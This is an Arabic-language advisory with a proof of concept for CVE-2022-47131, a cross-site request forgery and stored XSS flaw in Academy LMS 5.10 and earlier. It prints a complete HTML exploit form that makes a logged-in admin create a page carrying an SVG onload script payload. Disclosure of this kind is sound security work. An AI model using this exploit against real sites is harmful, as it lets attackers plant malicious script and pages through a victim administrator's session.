CVE-2022-47131

Academy LMS <= 5.10 CSRF / XSS

الوصف

Academy LMS هو تطبيق يمكن للأشخاص من خلاله إنشاء الدورات التدريبية والترويج لها. تكون ميزة إضافة صفحة جديدة عرضة لهجوم CSFR لعدم وجود رمز مميز يمنع هذا الهجوم. بالإضافة إلى ذلك، يمكن استخدام هذه الصفحة لتحميل حمولة XSS مخزنة.

إثبات المفهوم (POC)

الخطوة الأولى في إثبات المفهوم هي المصادقة على المنصة باستخدام مستخدم إداري.

بعد ذلك، فقط قم بالوصول إلى الصفحة التي تحتوي على كود استغلال الثغرة، ستلاحظ أنه سيتم إضافة زر جديد إلى الصفحة الرئيسية للموقع، يعيد التوجيه إلى صفحة XSS.

الكود المستخدم في الاستغلال:

<html>
   <body>
   <script>history.pushState('', '', '/')</script>
     <form action="https://target.com/admin/custom_page/add" method="POST">
       <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
       <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt ;" />
       <input type="hidden" name="files" value="" />
       <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
       <input type="hidden" name="button&#95;position" value="header" />
       <input type="hidden" name="page&#95;url" value="xss" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
</html>

CVE-2022-47131

الأكثر شعبية

CVE-2022-47131

الوصف

إثبات المفهوم (POC)